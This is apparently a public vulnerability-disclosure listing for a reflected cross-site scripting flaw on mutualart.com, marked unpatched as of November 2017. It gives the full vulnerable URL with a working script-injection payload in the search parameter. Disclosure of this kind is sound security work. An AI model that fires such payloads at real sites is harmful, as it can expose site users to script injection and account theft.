mutualart.com XSS vulnerability

Vulnerable URL: https://www.mutualart.com/Results/antiq?q=OPENBUGBOUNTY';prompt'OPENBUGBOUNTY';var x='y Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 85839 VIP website status:| No...